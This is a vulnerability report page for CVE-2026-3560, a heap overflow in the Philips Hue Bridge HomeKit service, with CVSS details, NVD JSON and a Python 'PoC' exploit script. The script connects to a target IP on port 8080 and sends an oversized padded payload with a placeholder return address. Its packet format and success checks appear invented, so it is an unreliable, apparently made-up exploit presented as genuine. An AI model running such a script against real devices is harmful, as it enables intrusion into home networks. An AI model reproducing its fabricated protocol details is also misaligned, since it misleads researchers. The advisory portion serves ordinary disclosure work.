Security Vulnerability Report
中文
CVE-2026-3560 CVSS 8.8 HIGH

CVE-2026-3560

Published: 2026-03-16 14:19:52
Last Modified: 2026-04-27 14:30:44

Description

Philips Hue Bridge HomeKit hk_hap_pair_storage_put Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability. The specific flaw exists within the hk_hap_pair_storage_put function of the HomeKit implementation, which listens on TCP port 8080 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28469.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
Philips Hue Bridge (HomeKit) - 受影响版本需等待厂商披露具体版本信息
ZDI-CAN-28469 - Trend Micro Zero Day Initiative披露的相关漏洞ID

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-3560 PoC - Philips Hue Bridge HomeKit Heap Buffer Overflow RCE Note: This is a conceptual demonstration for security research only. Do not use against systems without proper authorization. """ import socket import struct def create_exploit_payload(): """Generate payload for heap buffer overflow in hk_hap_pair_storage_put""" # Target function: hk_hap_pair_storage_put # Vulnerable parameter: user-supplied data length not validated # Construct HomeKit HAP pairing storage request header = b'HAP' # HomeKit Accessory Protocol signature version = b'\x01\x00' # Protocol version # Type: Pairing setup/pairing storage msg_type = b'\x02' # Pairing setup request # Construct oversized data to trigger heap overflow # The actual overflow size depends on firmware version overflow_size = 1024 # Example overflow size padding = b'A' * overflow_size # Landing pad for code execution (address varies by version) # In real exploit, this would be a ROP gadget or shellcode address landing_pad = struct.pack('<Q', 0x4141414141414141) payload = header + version + msg_type + padding + landing_pad return payload def exploit_hue_bridge(target_ip, target_port=8080): """ Exploit CVE-2026-3560 on Philips Hue Bridge Args: target_ip: IP address of the target Hue Bridge target_port: Default port 8080 for HomeKit service """ try: payload = create_exploit_payload() print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious payload ({len(payload)} bytes)") sock.send(payload) print(f"[*] Payload sent, waiting for response...") response = sock.recv(1024) # Check for successful exploitation indicators if b'ACK' in response or b'OK' in response: print("[+] Potential exploitation success - check device status") else: print("[-] No clear success indicator received") sock.close() return True except socket.timeout: print("[-] Connection timed out") return False except socket.error as e: print(f"[-] Socket error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit_hue_bridge(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3560", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:52.050", "lastModified": "2026-04-27T14:30:43.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Philips Hue Bridge HomeKit hk_hap_pair_storage_put Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the hk_hap_pair_storage_put function of the HomeKit implementation, which listens on TCP port 8080 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28469."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo hk_hap_pair_storage_put de HomeKit en Philips Hue Bridge. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de Philips Hue Bridge. La autenticación no es necesaria para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la función hk_hap_pair_storage_put de la implementación de HomeKit, que escucha en el puerto TCP 8080 por defecto. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28469."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1975170000", "matchCriteriaId": "C4C925A5-D9FB-482D-A98D-F879B1BD21EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "55B37D18-3A59-423E-9D73-F80DFDB14C4D"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-158/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}